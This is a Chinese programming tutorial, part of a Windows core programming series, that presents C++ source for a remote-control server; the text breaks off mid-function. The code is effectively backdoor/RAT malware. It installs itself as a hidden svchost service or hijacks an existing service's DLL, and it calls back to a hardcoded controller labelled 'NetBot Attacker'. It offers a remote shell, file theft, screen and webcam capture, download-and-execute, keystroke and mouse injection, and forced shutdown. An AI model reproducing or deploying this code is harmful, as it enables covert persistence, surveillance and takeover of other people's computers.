基于visual c++之windows核心编程代码分析(66)实现Windows服务的远程控制

Windows服务之前已经进行了讲解,如何在安装Windows服务呢,作为远程控制的服务端。

安装Windows服务代码如下

#include "stdafx.h"
//#include <windows.h>
#include "InstallService.h"
#include <winsvc.h>

BOOL StartService(LPCTSTR lpService)
{
	SC_HANDLE        schSCManager;
	SC_HANDLE        schService;
	SERVICE_STATUS   ServiceStatus;
	DWORD            dwErrorCode;

	schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
	if (schSCManager!=NULL)
	{
		schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
		if (schService!=NULL)
		{
			//设置服务为自动启动
			ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE,
				NULL, NULL, NULL, NULL, NULL, NULL, NULL);

			if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务                        
			{
				dwErrorCode=GetLastError();
				if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
				{
					CloseServiceHandle(schSCManager);  
					CloseServiceHandle(schService);
					return true;
				}
			}
			while(QueryServiceStatus(schService,&ServiceStatus)!=0)           
			{
				if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING)
				{
					Sleep(100);
				}
				else
				{
					break;
				}
			}
			CloseServiceHandle(schService);
		}
		CloseServiceHandle(schSCManager);
	}
	else
		return FALSE;

	return TRUE;
}

BOOL StopService(LPCTSTR lpService)
{
	SC_HANDLE        schSCManager;
	SC_HANDLE        schService;
	SERVICE_STATUS   RemoveServiceStatus;

	schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
	if (schSCManager!=NULL)
	{
		schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
		if (schService!=NULL)
		{
			//设置服务为禁用
			ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
				NULL, NULL, NULL, NULL, NULL, NULL, NULL);

			if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
			{
				if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务
				{
					if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
					{
						while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
						{
							Sleep(10);
							QueryServiceStatus(schService,&RemoveServiceStatus);
						}
					}
				}
			}    
			CloseServiceHandle(schService);
		}	
		::CloseServiceHandle(schSCManager);
	}
	else 
		return FALSE;

	return TRUE;
}

BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath)
{
	int rc = 0;
	HKEY hKey = 0;
	BOOL bRet = FALSE;
	char szOpenKey[MAX_PATH];

	try
	{
		//暂停服务
		StopService(lpService);

		//修改dll指向
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService);
        rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
        if(ERROR_SUCCESS != rc) throw "";

        rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1);
        SetLastError(rc);
		if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
		
		//运行服务
		bRet = StartService(lpService);
	}
	catch(char *str)
	{
		if(str && str[0])
        {
            rc = GetLastError();
        }
	}
	
	RegCloseKey(hKey);

	return bRet;
}

BOOL InstallSvchostService(LPCSTR strServiceName, 
					       LPCSTR strDisplayName, 
					       LPCSTR strDescription,
					       LPCSTR strDllPath)
{
	int rc = 0;
	HKEY hKey = 0;
	BOOL bRet = FALSE;
	char szOpenKey[MAX_PATH];
	try
	{
      bRet = InstallService(strServiceName,
                     strDisplayName,
					 strDescription,
                     "%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务

		//修改dll指向
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName);
        //rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
		rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey); 
        if(ERROR_SUCCESS != rc) throw "";

        rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1);
        SetLastError(rc);
		if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
		RegCloseKey(hKey);
		//添加服务名到netsvcs组
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
        rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
        if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)";
		rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1);
        SetLastError(rc);
        if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)";
		RegCloseKey(hKey);

		bRet = StartService(strServiceName);
	}
	catch(char *str)
	{
		if(str && str[0])
        {
            rc = GetLastError();
        }
	}
	
	RegCloseKey(hKey);

	return bRet;
}

BOOL InstallService(LPCSTR strServiceName, 
					LPCSTR strDisplayName, 
					LPCSTR strDescription,
					LPCSTR strPathName)
{
	BOOL bRet = FALSE;
	HKEY key=NULL;
	SC_HANDLE svc=NULL, scm=NULL;
	__try
	{
		scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
		if (!scm)
			__leave;
		svc = CreateService(
			scm, 
			strServiceName, 
			strDisplayName,
			SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
			SERVICE_WIN32_OWN_PROCESS,
			SERVICE_AUTO_START,
			SERVICE_ERROR_IGNORE,
			strPathName,
			NULL, NULL, NULL, NULL, NULL);

		if (svc == NULL)
		{
			if (GetLastError() == ERROR_SERVICE_EXISTS)
			{
				svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS);
				if (svc==NULL)
					__leave;
				else
					StartService(svc,0, 0);
			}
		}

		char Desc[MAX_PATH];
		wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName);
		RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
		RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription));

		if (!StartService(svc,0, 0))
			__leave;

		bRet = TRUE;
	}
	__finally
	{
		if (key!=NULL) 
			RegCloseKey(key);
		if (svc!=NULL)
			CloseServiceHandle(svc);
		if (scm!=NULL)
			CloseServiceHandle(scm);
	}

	return bRet;
}

void UninstallService(LPCTSTR strServiceName)
{
	SC_HANDLE scm,svc;

	scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (scm!=NULL)
	{
		svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS);
		if (svc!=NULL)
		{
			::DeleteService(svc);
			::CloseServiceHandle(svc);
		}
		::CloseServiceHandle(scm);
	}
}

如何实现远程控制的一些列功能呢,键盘,鼠标远程协助,文件上传下载,视频截获,桌面视频截获等等。

请见代码与注释


 

#include "stdafx.h"
#include "svchost.h"
#include <shlwapi.h>
#include "../Seu_lib/Functions.h"
#include "InstallService.h"
#include "../Seu_lib/zconf.h"
#include "../Seu_lib/zlib.h"
#pragma comment(lib,"../Seu_lib/zlib.lib")	//图象无损数据压缩使用zlib库函数
#pragma comment(lib,"shlwapi.lib")
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/OPT:NOWIN98")

//#define NETBOT_TEST
/////////////////////////////////////////////////////////////////////////////////////////////
struct MODIFY_DATA 
{
	char  strIPFile[128];   //ip文件or DNS
	char  strVersion[16];   //服务端版本
	DWORD dwVipID;          //VIP ID
	BOOL  bReplace;         //TRUE-替换服务,FALSE-新建服务
	char  strSvrName[32];   //服务名称
	char  strSvrDisp[100];  //服务显示
	char  strSvrDesc[100];  //服务描述
	char  ServerAddr[100];
	int   ServerPort; 
}modify_data = 
{
	"192.168.1.132:9000",
	"080625",
	62,
	FALSE,
	"NetBot",
	"NetBot Attacker",
	"NetBot Attacker",
	" ",
	8080,
};

HMODULE     g_hDllModule;

unsigned long resolve(char *host)
{
 long i;
 struct hostent *he;

 if((i=inet_addr(host))<0)
   if((he=(struct hostent*)gethostbyname(host))==NULL)//if((he=(struct hostent*)Ggethostbyname(host))==NULL)
     return(0);
   else
     return(*(unsigned long *)he->h_addr);

 return(i);
}

void GetIpAndPort()
{
	char html[256];					//获取的网页
	char *point;					//指针
	char port[12];
	
	memset(html,0,sizeof(html));

    if(strstr(modify_data.strIPFile,"http") == NULL)//不含HTTP,表示是IP/DNS上线
	{
		strcpy(html,"[");
		strcat(html,modify_data.strIPFile);
		strcat(html,"]");
	}
	else
	{
	    //获取网页内容
	    for(;;)
		{
			lstrcpy(html,strlwr(GetHttpFile(modify_data.strIPFile)));
			if(strstr(html,"[")!=NULL)
				break;
		    else
			    Sleep(10000);
		}
	}
	//MessageBox(NULL,html,NULL,MB_OK);
	//分离客户端ip和端口
	point=html;
	if(strstr(html,"[")!=NULL)
	{
		point=point+strlen("[");
	}
	if(strstr(point,":")!=NULL)
	{
	    memset(modify_data.ServerAddr,0,sizeof(modify_data.ServerAddr));
		strncpy(modify_data.ServerAddr,point,strcspn(point,":"));
		point=point+strcspn(point,":")+1;

		if(strstr(point,"]")!=NULL)
		{
		    memset(port,0,sizeof(port));
		    strncpy(port,point,strcspn(point,"]"));
			modify_data.ServerPort = atoi(port);
		}
	}
}

DWORD _stdcall RuningThread(LPVOID lParam)
{
	WSADATA lpWSAData;
	WSAStartup(MAKEWORD(2, 2), &lpWSAData);	

	while(1)
	{
		GetIpAndPort();

		HANDLE hThread = NULL;
		hThread = CreateThread(NULL,NULL,ConnectThread,NULL,NULL,NULL);
		WaitForSingleObject(hThread, INFINITE);
		CloseHandle(hThread);
		
		Sleep(10000);
	}

	WSACleanup();

	return 0;
}

DWORD _stdcall ConnectThread(LPVOID lParam)
{
	struct sockaddr_in LocalAddr;
	LocalAddr.sin_family=AF_INET;
	LocalAddr.sin_port=htons(modify_data.ServerPort);
	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);

	//连接的socket
	SOCKET MainSocket = socket(AF_INET, SOCK_STREAM, 0);

	if(connect(MainSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
		return 0;//connect error
	else
		TurnonKeepAlive(MainSocket, 75);
	
	SysInfo m_SysInfo;
	GetSystemInfo(m_SysInfo);//获取系统信息
	m_SysInfo.iVipID = modify_data.dwVipID;
	m_SysInfo.bVideo = CVideoCap::IsWebCam();
	lstrcpy(m_SysInfo.cVersion, modify_data.strVersion);
	EncryptData((unsigned char *)&m_SysInfo, sizeof(SysInfo), modify_data.dwVipID);//用产品ID号加密

	//send socket type
	MsgHead msgHead;
	char    chBuffer[4096];

	msgHead.dwCmd  = SOCKET_CONNECT;//填充消息
	msgHead.dwSize = sizeof(SysInfo); 

	memcpy(chBuffer,&m_SysInfo, sizeof(SysInfo));//填充被控端信息
	
	if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) )
	{
		closesocket(MainSocket);
		return 1;//send socket type error
	}

	while(1)
	{
		//接收命令
		if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead))
		{//掉线,错误
			shutdown(MainSocket,0x02);
			closesocket(MainSocket);
			break;
		}

		//解析命令
		switch(msgHead.dwCmd)
		{

		case CMD_FILEMANAGE:
			{
				CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);//开一个文件管理的线程
			}
			break;
/*		case CMD_SCREENSTART:
			{
				//获取上线的socket==DWORD
				DWORD dwSock = msgHead.dwExtend1;
				CreateThread(NULL,NULL,ScreenThread,(LPVOID)dwSock,NULL,NULL);      //开一个屏幕传输的线程
			}
			break;
		case CMD_PROCESSSTART:
			{
				CreateThread(NULL,NULL,ProcessThread,NULL,NULL,NULL);    //开一个进程管理的线程
			}
			break;
		case CMD_SHELLSTART:
			{
				CreateThread(NULL,NULL,ShellThread,NULL,NULL,NULL);        //开一个远程Shell的线程
			}
			break;
		case CMD_VIDEOSTART:
			{
				CreateThread(NULL,NULL,VideoThread,NULL,NULL,NULL);        //开一个视频捕捉的线程
			}
			break;
		case CMD_HEARTBEAT://心跳包
			{
				//不处理这里,可以做计数,因为控制端基本也是定时发的
			}
			break;
		case CMD_UNINSTALL://卸载
			{
				shutdown(MainSocket,0x02);
				closesocket(MainSocket);			
				lstrcpy(modify_data.strIPFile,"");

				char szDllPath[MAX_PATH],szCmdLine[MAX_PATH];    
				GetModuleFileName(g_hDllModule,szDllPath,MAX_PATH);
				MoveFileEx(szDllPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
				wsprintf(szCmdLine, "Rundll32 %s,RundllUninstall", szDllPath);
				WinExec(szCmdLine, SW_HIDE);
			}
			break;
		case CMD_POWEROFF://关机
			{
				SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
				ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0);
			}
			break;
		case CMD_REBOOT://重启
			{
				SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
				ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
			}
			break;
		case CMD_LOGOFF://注销
			{
				SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
				ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
			}
			break;
		case CMD_DOWNEXEC://下载执行
			{
				char strUrl[256];
				memset(strUrl, 0, 256);
				lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
				DownExec(strUrl);
			}
			break;
		case CMD_OPENURL://打开网页
			{
				char strUrl[256];
				memset(strUrl, 0, 256);
				lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
				OpenUrl(strUrl);
			}
			break;
		case CMD_CTRLALTDEL:// Ctrl + Alt + del
			{

			}
			break;
		case CMD_KEYDOWN://WM_KEYDOWN 
			{
				XScreenXor OpenDesktop;
				int nVirtKey = msgHead.dwExtend1;
				keybd_event((BYTE)nVirtKey,0,0,0);
			}
			break;
		case CMD_KEYUP://WM_KEYUP
			{
				XScreenXor OpenDesktop;
				int nVirtKey = msgHead.dwExtend1;
				keybd_event((BYTE)nVirtKey,0,KEYEVENTF_KEYUP,0);
			}
			break;
		case CMD_MOUSEMOVE://WM_MOUSEMOVE
			{
				XScreenXor OpenDesktop;
				POINT pt;
				pt.x = msgHead.dwExtend1;
				pt.y = msgHead.dwExtend2;
				SetCursorPos(pt.x, pt.y);
			}
			break;
		case CMD_LBUTTONDOWN://WM_LBUTTONDOWN
			{
				XScreenXor OpenDesktop;
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
			}
			break;
		case CMD_LBUTTONUP://WM_LBUTTONUP
			{
				XScreenXor OpenDesktop;
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}
			break;
		case CMD_LBUTTONDBLCLK://WM_LBUTTONDBLCLK
			{
				XScreenXor OpenDesktop;
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}
			break;
		case CMD_RBUTTONDOWN://WM_RBUTTONDOWN  
			{
				XScreenXor OpenDesktop;
				mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
			}
			break;
		case CMD_RBUTTONUP://WM_RBUTTONUP
			{
				XScreenXor OpenDesktop;
				mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
			}
			break;
		case CMD_RBUTTONDBLCLK://WM_RBUTTONDBLCLK
			{
				XScreenXor OpenDesktop;
				mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
				mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
			}
			break;
	*/
		default:
		    break;
		}
	}

	return 10;
}

//////////////////////////////////////////////////////////////////////////////////
//文件管理线程
DWORD _stdcall FileManageThread(LPVOID lParam)
{
	
	struct sockaddr_in LocalAddr;
	LocalAddr.sin_family=AF_INET;
	LocalAddr.sin_port=htons(modify_data.ServerPort);
	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
	
	SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
	{
		closesocket(FileSocket);
		return 0;//connect error
	}

	//================================================================================
	MsgHead msgHead;
	char *chBuffer = new char[1536 * 1024]; //数据交换区 1.5MB

	//send socket type 
	msgHead.dwCmd = SOCKET_FILEMANAGE;
	msgHead.dwSize = 0;
	if(!SendMsg(FileSocket, chBuffer, &msgHead))
	{
		if(chBuffer != NULL)
			delete []chBuffer;

		closesocket(FileSocket);
		return 0;//send socket type error
	}

	while(1)
	{
		//接收命令
		if(!RecvMsg(FileSocket, chBuffer, &msgHead))
			break;

		//解析命令
		switch(msgHead.dwCmd)
		{
			
		case CMD_FILEDRIVER://获取驱动器
			{
				FileListDirver(chBuffer, &msgHead);
			}
			break;
		case CMD_FILEDIRECTORY://获取文件夹
			{
				FileListDirectory(chBuffer, &msgHead);
			}
			break;
		case CMD_FILEDELETE://删除
			{
				FileDelete(chBuffer, &msgHead);
			}
			break;
		case CMD_FILEEXEC://执行
			{
				FileExec(chBuffer, &msgHead);
			}
			break;
		case CMD_FILEPASTE://粘贴
			{
				FilePaste(chBuffer, &msgHead);
			}
			break;
		case CMD_FILERENAME://重命名
			{
				FileReName(chBuffer, &msgHead);
			}
			break;
		case CMD_FILEDOWNSTART://下载开始
			{
				FileOpt m_FileOpt;
				memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
				
				if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
					msgHead.dwCmd  = CMD_SUCCEED;
				else
					msgHead.dwCmd  = CMD_FAILED;
				msgHead.dwSize = 0;
			}
			break;
	/*	case CMD_FILEUPSTART://上传开始
			{
				FileOpt m_FileOpt;
				memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
				
				if(CreateThread(NULL,NULL,FileUpThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
					msgHead.dwCmd  = CMD_SUCCEED;
				else
					msgHead.dwCmd  = CMD_FAILED;
				msgHead.dwSize = 0;
			}
			break;
			*/
		default:
			{
				msgHead.dwCmd = CMD_INVALID;
				msgHead.dwSize = 0;
			}
		    break;
		}

		//发送数据
		if(!SendMsg(FileSocket, chBuffer, &msgHead))
			break;
	}

	if(chBuffer != NULL)
		delete[] chBuffer;

	closesocket(FileSocket);
	
	return 0;
}
///////////////////////////////////////////////////////////////////////////////////
DWORD _stdcall ScreenThread(LPVOID lParam)
{
	DWORD dwSock = (DWORD)lParam;

	struct sockaddr_in LocalAddr;
	LocalAddr.sin_family=AF_INET;
	LocalAddr.sin_port=htons(modify_data.ServerPort);
	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
	
	//屏幕监控的socket
	SOCKET ScreenSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(connect(ScreenSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
	{
		return 0;//connect error
	}
	else
	{
		//设置发送缓冲区,有利于屏幕传输
		int rcvbuf = 65536; //64KB
		int rcvbufsize=sizeof(int); 
		setsockopt(ScreenSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize); 
	}  
	
	//稍微降低进程优先级
	SetThreadPriority( GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL );
	//=======================================================
	MsgHead msgHead;
	int nColor = 8;
	//send socket type 
	msgHead.dwCmd = SOCKET_SCREEN;
	msgHead.dwSize = 0;
	msgHead.dwExtend1 = dwSock;
	if(!SendMsg(ScreenSocket, NULL, &msgHead) ||
	   !RecvMsg(ScreenSocket, NULL, &msgHead) )//Get Screen Color
	{
		closesocket(ScreenSocket);
		return 0;//send socket type error
	}
	else
	{
		nColor = msgHead.dwExtend1;
	}

	////////////////////////////////////////
	XScreenXor m_ScreenXor;
	m_ScreenXor.SetColor(nColor);//设置位图颜色
	m_ScreenXor.InitGlobalVar();

	msgHead.dwCmd = SOCKET_SCREEN;
	msgHead.dwSize = 0;
	msgHead.dwExtend1 = m_ScreenXor.GetBmpSize();
	msgHead.dwExtend2 = m_ScreenXor.GetInfoSize();
	//发送位图信息
	if (!SendMsg(ScreenSocket, NULL, &msgHead))
	{
		closesocket(ScreenSocket);
		return 0;//send socket type error	
	}

	DWORD dwFrameID = 0, dwLastSend;
	BOOL  bNotStop = TRUE;
	DWORD lenthUncompress = m_ScreenXor.GetBmpSize();
	DWORD lenthCompress = (lenthUncompress+12)*1.1;
	BYTE* pDataCompress = new BYTE [lenthCompress];

	while( bNotStop )
	{
		dwLastSend = GetTickCount();

		lenthCompress = (lenthUncompress+12)*1.1;                                   //这里不能少
		m_ScreenXor.CaputreFrame(dwFrameID);                                        //抓取当前帧                           
		Sleep(10);
		::compress(pDataCompress,                                                  //压缩数据
			&lenthCompress, 
			m_ScreenXor.GetBmpData(),
			lenthUncompress);

		msgHead.dwCmd     = dwFrameID++;              //当前帧号
		msgHead.dwSize    = lenthCompress;            //传输的数据长度
		msgHead.dwExtend1 = m_ScreenXor.GetBmpSize(); //原始长度
		msgHead.dwExtend2 = lenthCompress;            //压缩后长度
		
		bNotStop = SendMsg(ScreenSocket, (char*)pDataCompress, &msgHead); //发送数据

		if ((GetTickCount() - dwLastSend) < 110)
			Sleep(100);
	}

	//释放掉掉分配的内存,句柄等等
	closesocket(ScreenSocket);
	delete [] pDataCompress;

	return 0;
}

//////////////////////////////////////////////////////////////////////////////////
//视频捕捉
DWORD _stdcall VideoThread(LPVOID lParam)
{
	struct sockaddr_in LocalAddr;
	LocalAddr.sin_family=AF_INET;
	LocalAddr.sin_port=htons(modify_data.ServerPort);
	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
	
	//视频捕捉的socket
	SOCKET VideoSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(connect(VideoSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
	{
		return 0;//connect error
	}
	else
	{
		//设置发送缓冲区,有利于视频传输
		int rcvbuf = 65536; //64KB
		int rcvbufsize=sizeof(int); 
		setsockopt(VideoSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize); 
	}  

	//==================================================================
	MsgHead msgHead;
	//send socket type 
	msgHead.dwCmd = SOCKET_VIDEOCAP;
	msgHead.dwSize = 0;
	if(!SendMsg(VideoSocket, NULL, &msgHead))
	{
		closesocket(VideoSocket);
		return 0;//send socket type error
	}

	///////////////////////////////////////////////
	//Send BITMAPINFO or error code
	if (!CVideoCap::IsWebCam())    //设备不存在或正在使用
	{
		msgHead.dwCmd = 1;
		msgHead.dwSize = 0;
		SendMsg(VideoSocket, NULL, &msgHead);
		shutdown(VideoSocket,0x02);
		closesocket(VideoSocket);
		return 1;//send socket type error
	}
	
	CVideoCap m_Cap;
	if (!m_Cap.Initialize())   //设备初始化失败
	{
		msgHead.dwCmd = 2;
		msgHead.dwSize = 0;
		SendMsg(VideoSocket, NULL, &msgHead);
		shutdown(VideoSocket,0x02);
		closesocket(VideoSocket);
		return 2;
	}

	msgHead.dwCmd  = 0;
	msgHead.dwSize = sizeof(BITMAPINFOHEADER);
	if(!SendMsg(VideoSocket, (char*)&(m_Cap.m_lpbmi->bmiHeader), &msgHead))
	{
		closesocket(VideoSocket);
		return 3;//send socket type error				
	}

	DWORD dwFrameID = 0,dwLastSend;
	BOOL  bNotStop = TRUE;
	DWORD lenthUncompress = m_Cap.m_lpbmi->bmiHeader.biSizeImage - 5;//为啥-5??
	DWORD lenthCompress = (lenthUncompress+12)*1.1;
	BYTE* pDataCompress = new BYTE [lenthCompress];

	while (bNotStop)
	{
		dwLastSend = GetTickCount();//被卡巴杀

		lenthCompress = (lenthUncompress+12)*1.1;                   //这个不能少
		::compress(pDataCompress,                                   //压缩数据
			&lenthCompress, 
			(BYTE*)m_Cap.GetDIB(),
			lenthUncompress);

		msgHead.dwCmd     = dwFrameID++;            //帧号
		msgHead.dwSize    = lenthCompress;          //传输的数据长度
		msgHead.dwExtend1 = lenthUncompress;        //未压缩数据长度
		msgHead.dwExtend2 = lenthCompress;          //压缩后数据长度
		
		bNotStop = SendMsg(VideoSocket, (char*)pDataCompress, &msgHead); //发送数据

		if ((GetTickCount() - dwLastSend) < 100)
			Sleep(80);
	}

	if (pDataCompress != NULL)
		delete[] pDataCompress;

	return 10;
}

/////////////////////////////////////////////////////////////////////////////////
//进程管理线程
DWORD _stdcall ProcessThread(LPVOID lParam)
{
	struct sockaddr_in LocalAddr;
	LocalAddr.sin_family=AF_INET;
	LocalAddr.sin_port=htons(modify_data.ServerPort);
	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
	
	SOCKET ProcessSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(connect(ProcessSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
	{
		closesocket(ProcessSocket);
		return 0;//connect error
	}	

	//================================================================================
	MsgHead msgHead;
	char    chBuffer[32 * 1024]; //数据交换区

	//send socket type 
	msgHead.dwCmd = SOCKET_PROCESS;
	msgHead.dwSize = 0;
	if(!SendMsg(ProcessSocket, chBuffer, &msgHead))
	{
		closesocket(ProcessSocket);
		return 0;//send socket type error
	}

	while(1)
	{
		//接收命令
		if(!RecvMsg(ProcessSocket, chBuffer, &msgHead))
			break;

		//解析命令
		switch(msgHead.dwCmd)
		{
		case CMD_PROCESSLIST:
			{
				ProcessList(chBuffer, &msgHead);
			}
			break;
		case CMD_PROCESSKILL:
			{
				ProcessKill(chBuffer, &msgHead);
			}
			break;
		default:
			{
				msgHead.dwCmd = CMD_INVALID;
				msgHead.dwSize = 0;
			}
		    break;
		}

		//发送数据
		if(!SendMsg(ProcessSocket, chBuffer, &msgHead))
			break;
	}	
	
	closesocket(ProcessSocket);
	return 0;
}
//////////////////////////////////////////////////////////////////////////////////
//远程shell线程
DWORD _stdcall ShellThread(LPVOID lParam)
{
	struct sockaddr_in LocalAddr;
	LocalAddr.sin_family=AF_INET;
	LocalAddr.sin_port=htons(modify_data.ServerPort);
	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
	
	SOCKET ShellSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(connect(ShellSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
	{
		closesocket(ShellSocket);
		return 0;//connect error
	}

	//====================================================================
	MsgHead msgHead;
	char *chBuffer = new char[512 * 1024]; //数据交换区 512KB

	//send socket type 
	msgHead.dwCmd = SOCKET_CMDSHELL;
	msgHead.dwSize = 0;
	if(!SendMsg(ShellSocket, chBuffer, &msgHead))
	{
		closesocket(ShellSocket);
		return 0;//send socket type error
	}

	while(1)
	{
		//接收命令
		if(!RecvMsg(ShellSocket, chBuffer, &msgHead))
			break;

		//解析命令
		switch(msgHead.dwCmd)
		{
		case CMD_SHELLRUN:
			{
				DOSShell(chBuffer, &msgHead);
			}
			break;
		default:
		    break;
		}

		//发送数据
		if(!SendMsg(ShellSocket, chBuffer, &msgHead))
			break;
	}	

	if(chBuffer != NULL)
		delete[] chBuffer;

	closesocket(ShellSocket);
	return 0;
}

//////////////////////////////////////////////////////////////////////////////////
//文件上传下载
DWORD _stdcall FileDownThread(LPVOID lParam)
{
	
	FileOpt m_FileOpt;
	memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt));

	struct sockaddr_in LocalAddr;
	LocalAddr.sin_family=AF_INET;
	LocalAddr.sin_port=htons(modify_data.ServerPort);
	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
	
	SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
	{
		closesocket(FileSocket);
		return 0;//connect error
	}

	MsgHead msgHead;
	//send socket type 
	msgHead.dwCmd = SOCKET_FILEDOWN;
	msgHead.dwSize = 0;
	if(!SendMsg(FileSocket, NULL, &msgHead))
	{
		closesocket(FileSocket);
		return 0;//send socket type error
	}

	//////////////////////////////////////////////////////
	HANDLE hDownFile = INVALID_HANDLE_VALUE;
	DWORD  dwDownFileSize = 0, dwBytes;
	BYTE   SendBuffer[4096];
	int nRet =0 ;

	//get download data
	hDownFile = CreateFile(m_FileOpt.cScrFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if (hDownFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR
		dwDownFileSize  = 0;
	else
